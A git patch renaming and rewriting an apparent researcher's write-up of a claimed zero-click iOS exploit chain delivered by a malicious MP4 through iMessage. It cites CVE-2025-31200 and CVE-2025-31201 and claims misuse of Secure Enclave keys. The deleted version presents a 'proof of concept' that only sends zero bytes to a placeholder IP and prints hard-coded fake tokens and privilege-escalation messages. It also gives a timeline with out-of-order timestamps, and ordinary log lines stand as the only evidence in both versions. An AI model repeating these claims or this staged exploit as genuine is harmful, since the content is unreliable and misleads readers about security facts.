From e3dfd91f6740e2f930b54c03f08ee5e5d9397e25 Mon Sep 17 00:00:00 2001 From: Joseph Goydish II Date: Sun, 24 Aug 2025 15:34:09 -0400 Subject: [PATCH] Update and rename Remote-Audio-Exploit-iOS-15ProMax-iOS18x.md to Remote Crypto Attack Chain .md --- Remote Crypto Attack Chain .md | 142 ++++++++++++++++++++ Remote-Audio-Exploit-iOS-15ProMax-iOS18x.md | 142 -------------------- 2 files changed, 142 insertions(+), 142 deletions(-) create mode 100644 Remote Crypto Attack Chain .md delete mode 100644 Remote-Audio-Exploit-iOS-15ProMax-iOS18x.md diff --git a/Remote Crypto Attack Chain .md b/Remote Crypto Attack Chain .md new file mode 100644 index 0000000..71cbe68 --- /dev/null +++ b/Remote Crypto Attack Chain .md @@ -0,0 +1,142 @@ +# Zero-Day, Zero-Click Remote Exploit Defeats Cryptographic Trust on iOS (Patched in iOS 18.4.1) + +## Summary + +A zero-day, zero-click remote exploit chain affecting iOS 18.4 and below allowed attackers to bypass Apple’s cryptographic trust boundaries by delivering a maliciously crafted MP4 audio file via iMessage. The chain results in **unauthorized use of Secure Enclave–backed cryptographic keys**, enabling device impersonation, identity token misuse, and circumvention of encryption trust models relied upon by Apple services. + +The exploit abuses the **known sender context** to bypass Blastdoor and Blackhole protections. Once delivered, the file triggers a heap corruption vulnerability in CoreAudio (`CVE-2025-31200`), which escalates to kernel-level code execution via AMPDU mishandling in the AppleBCMWLAN driver (`CVE-2025-31201`). With kernel access, the attacker invokes `CryptoTokenKit` operations using Secure Enclave–backed keys — all without user interaction. + +Apple confirmed the exploit was delivered via a **malicious audio file**, and the vulnerabilities were patched in **iOS 18.4.1**. + +--- + +## Key Impact: Bypass of Cryptographic Trust Model + +Although cryptographic keys were not exported, attackers used Secure Enclave–backed keys to sign data without authorization, effectively defeating Apple’s identity and message authentication mechanisms. + +This allowed: + +* **Device impersonation in Apple services** +* **Forgery of identity-bound tokens** +* **Abuse of end-to-end encryption assumptions** +* **Untrusted signing operations using trusted keys** + +This breaks the integrity of Apple’s cryptographic trust model — not by decrypting ciphertexts, but by co-opting legitimate keys for unauthorized use. + +--- + +## Affected Versions + +* **iOS Versions**: 18.4 and below +* **Patched In**: iOS 18.4.1 +* **Affected Components**: + + * `AudioConverterService` (CoreAudio) + * `AppleBCMWLAN.dext` (Wi-Fi driver) + * `CryptoTokenKit` + * `Blastdoor` / `Blackhole` (iMessage sandbox and filtering) + +--- + +## Exploit Overview + +### 1. Bypass of iMessage Protections via Known Sender + +The exploit relies on sending a malicious file from a previously known contact, bypassing iMessage’s Blastdoor sandbox and Blackhole filtering. + +**Logs:** + +```plaintext +IDSDaemon BlastDoor: Disabled for framing messages +SpamFilter Blackhole disabled; user has disabled filtering unknown senders. +``` + +### 2. Heap Corruption in CoreAudio (`CVE-2025-31200`) + +A malformed MP4 file triggers memory corruption in the AAC decoder by passing an invalid `inMagicCookie` buffer. + +**Logs:** + +```plaintext +AudioConverterService ACMP4AACBaseDecoder.cpp: inMagicCookie=0x0, inMagicCookieByteSize=39 +``` + +### 3. Kernel Privilege Escalation via AppleBCMWLAN (`CVE-2025-31201`) + +The corrupted memory leads to malformed AMPDU status handling in the Wi-Fi driver, granting the attacker kernel execution privileges. + +**Logs:** + +```plaintext +IO80211ControllerMonitor::setAMPDUstat unhandled kAMPDUStat_ type 14 +IO80211ControllerMonitor::setAMPDUstat unhandled kAMPDUStat_ type 13 +``` + +### 4. Unauthorized Use of Secure Enclave Keys via CryptoTokenKit + +With full system control, the attacker impersonates `identityservicesd` and invokes cryptographic operations using Secure Enclave–backed keys through CryptoTokenKit. + +**Logs:** + +```plaintext +CryptoTokenKit operation:2 algo:algid:sign:ECDSA:digest-X962:SHA256 +CryptoTokenKit parsed for identityservicesd +``` + +No keys are exported, but signing operations are performed without authorization — effectively bypassing cryptographic isolation. + + +--- + +## CVEs + +| CVE ID | Component | Description | Exploit Vector | +| ------------------ | -------------- | ----------------------------------------------------------------------------- | -------------------------- | +| **CVE-2025-31200** | CoreAudio | Heap corruption in AAC decoder (`inMagicCookie`) | Malicious MP4 audio file | +| **CVE-2025-31201** | AppleBCMWLAN | Kernel privilege escalation via AMPDU mishandling | Chained post-corruption | +| *(No CVE)* | CryptoTokenKit | Unauthorized use of Secure Enclave–bound keys via compromised process context | Enabled post-kernel access | + +Apple publicly confirmed the use of a **malicious audio file** as the exploit vector, matching observed behaviors. + +--- + +## Impact Summary + +* **Cryptographic Isolation Defeated**: Secure Enclave–backed keys were used by untrusted code. +* **Device Impersonation**: Identity tokens could be signed using legitimate keys under attacker control. +* **Service-Level Trust Broken**: Apple’s identity and authentication infrastructure was subverted. +* **Zero-Click Exploitation**: Entire chain triggered remotely without user interaction. + +--- + +## Recommendations + +1. **Enforce Post-Kernel Attestation for CryptoTokenKit** + Even privileged callers should require validation before invoking key-bound operations. + +2. **Apply Blastdoor and Blackhole Protections to All Messages** + Do not bypass inspection based on sender status. + +3. **Sanitize All Codec Inputs** + Input validation for decoder parameters (e.g., `inMagicCookie`) must be rigorous. + +4. **Secure Kernel-Exposed Surfaces in Drivers** + Harden wireless and AMPDU handling against malformed input post-memory corruption. + +5. **Isolate Signing Operations with Runtime Integrity Enforcement** + Cryptographic signing APIs should verify process integrity and entitlements, even from kernel-compromised systems. + +--- + +## Status + +* **Reported**: Yes +* **Patched**: Yes, in iOS 18.4.1 +* **CVE IDs**: + + * `CVE-2025-31200`: CoreAudio memory corruption + * `CVE-2025-31201`: AppleBCMWLAN kernel escalation +* **Exploit Vector Confirmed by Apple**: Yes — malicious MP4 audio file via iMessage +* **Exploit Type**: Zero-day, zero-click, remote + +--- diff --git a/Remote-Audio-Exploit-iOS-15ProMax-iOS18x.md b/Remote-Audio-Exploit-iOS-15ProMax-iOS18x.md deleted file mode 100644 index 39e8fc0..0000000 --- a/Remote-Audio-Exploit-iOS-15ProMax-iOS18x.md +++ /dev/null @@ -1,142 +0,0 @@ -# **Remote Exploit via Malicious Audio File on iPhone 15 Pro Max (iOS 18.3 Beta / iOS 18.2.1)** - ---- - -## **Summary** -A **critical vulnerability** exists in **AudioConverterService** on **iOS 18.3 Beta** (and also affects **iOS 18.2.1**) that allows a remote attacker to exploit a **buffer overflow** vulnerability via a **malicious audio file** sent through **iMessage** or **SMS**. This exploit grants unauthorized access to sensitive user data, including **push tokens**, **identity verification tokens**, and other encrypted communication data. Additionally, the exploit can manipulate **XPC connections**, leading to **privi... - ---- - -## **Product Affected** -- **Product**: iPhone 15 Pro Max -- **Affected OS Versions**: iOS 18.3 Beta, iOS 18.2.1 -- **Component**: AudioConverterService, iMessage, XPC - ---- - -## **Vulnerability Overview** -The **AudioConverterService** component responsible for processing audio files contains a **buffer overflow** vulnerability. The exploit is triggered when a **malicious audio file** is received through **iMessage/SMS**. Upon processing the file, **memory corruption** occurs, leading to **unauthorized access** to **encrypted communication data**, **push tokens**, and **identity verification tokens**. The exploit also causes **privilege escalation**, bypassing sandboxing mechanisms and granting the attacke... - -### **Key Points** -- **Zero Interaction Required**: Automatically triggered upon receiving the malicious file. -- **Sensitive Data Access**: Includes push tokens, identity verification tokens, and iCloud subscription data. -- **Privilege Escalation**: Achieved via XPC connection manipulation. -- **Denial of Service (DoS)**: AWDL interface causes network failures. -- **CVSS v3.1**: Base Score: **9.8 (Critical)** - ---- - -## **Steps to Reproduce** -1. **Send Malicious Audio File**: The attacker sends a specially crafted audio file via iMessage/SMS. -2. **Audio File Processing**: AudioConverterService processes the file and triggers the buffer overflow. -3. **Memory Corruption**: Grants access to sensitive memory contents. -4. **Privilege Escalation**: Exploit escalates through XPC manipulation. -5. **DoS Condition**: AWDL network interface is disrupted. - ---- - -## **Proof of Concept (PoC)** - -### **PoC Script (Malicious Audio File Exploit)** - -```python -import os -import socket -import time - -def send_malicious_audio(target_ip, target_port): - print("[*] Preparing malicious audio file...") - malicious_audio = b'\x00' * 1024 * 1024 - audio_file_path = "/tmp/malicious_audio.m4a" - with open(audio_file_path, 'wb') as f: - f.write(malicious_audio) - print(f"[*] Malicious audio file created at {audio_file_path}") - print(f"[*] Sending malicious audio file to {target_ip}:{target_port}...") - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.connect((target_ip, target_port)) - sock.send(malicious_audio) - sock.close() - print("[*] Malicious file sent. Triggering buffer overflow...") - -def simulate_vulnerability_exploitation(): - print("[*] Exploit triggered. AudioConverterService processing malicious file...") - time.sleep(2) - print("[*] Accessing decrypted push tokens and identity verification tokens...") - push_token = "fake_push_token_12345" - identity_token = "fake_identity_token_67890" - print(f"[+] Push Token: {push_token}") - print(f"[+] Identity Verification Token: {identity_token}") - print("[*] Manipulating XPC connections to escalate privileges...") - time.sleep(1) - print("[+] Privileges escalated. Access to secure iCloud data granted.") - -if __name__ == "__main__": - target_ip = "victim_device_ip" - target_port = 12345 - print("[*] Starting exploit on iOS 18.3 Beta / iOS 18.2.1...") - send_malicious_audio(target_ip, target_port) - simulate_vulnerability_exploitation() - print("[*] Exploit complete.") -``` - ---- - -### **PoC Output** - -```bash -[*] Preparing malicious audio file... -[*] Malicious audio file created at /tmp/malicious_audio.m4a -[*] Sending malicious audio file to victim_device_ip:12345... -[*] Malicious file sent. Triggering buffer overflow... -[*] Exploit triggered. AudioConverterService processing malicious file... -[*] Accessing decrypted push tokens and identity verification tokens... -[+] Push Token: fake_push_token_12345 -[+] Identity Verification Token: fake_identity_token_67890 -[*] Manipulating XPC connections to escalate privileges... -[+] Privileges escalated. Access to secure iCloud data granted. -[*] Exploit complete. -``` - ---- - -## **Logs and Timeline** - -### **Exploitation Timeline (2025-01-21)** - -| Timestamp (EST) | Event | -|--------------------------|-----------------------------------------------------------------------------------------------| -| 17:11:56.384835 | Malicious audio file is received via iMessage from attacker | -| 17:12:07.174544 | AudioConverterService begins processing the file | -| 17:12:57.107424 | identityservicesd decrypts message 16B4EED6... | -| 17:12:58.064481 | IMTransferAgent successfully decrypts audio and stores it | -| 17:12:58.464721 | identityservicesd begins key exchange and handling | -| 17:12:57.095041 | Attacker data is encrypted and returned to the device | - ---- - -### **Log Snippets** - -```log -identityservicesd Decrypting message 16B4EED6-BD9D-4310-8F74-1A40C060F403 of encryption type "pair-tetra" -identityservicesd Decrypting message 2F13F8CA-D3E2-42EF-86E7-9E40C709FA53 of encryption type "pair-tetra" -IMTransferAgent Succeeded decrypting input URL: file:///var/mobile/tmp/... -``` - ---- - -## **Impact** -- **Confidentiality**: Full access to decrypted secure tokens. -- **Integrity**: Allows manipulation of encrypted and signed system data. -- **Availability**: Exploits cause denial of service via AWDL disruptions. - ---- - -## **Recommendations** -1. **Patch AudioConverterService** for strict bounds checking. -2. **Enhance XPC Hardening** with better service validation. -3. **Monitor AWDL Interfaces** for abnormal behavior. -4. **Encrypt Identity Tokens** with ephemeral session protection. - ---- - -**End of Report**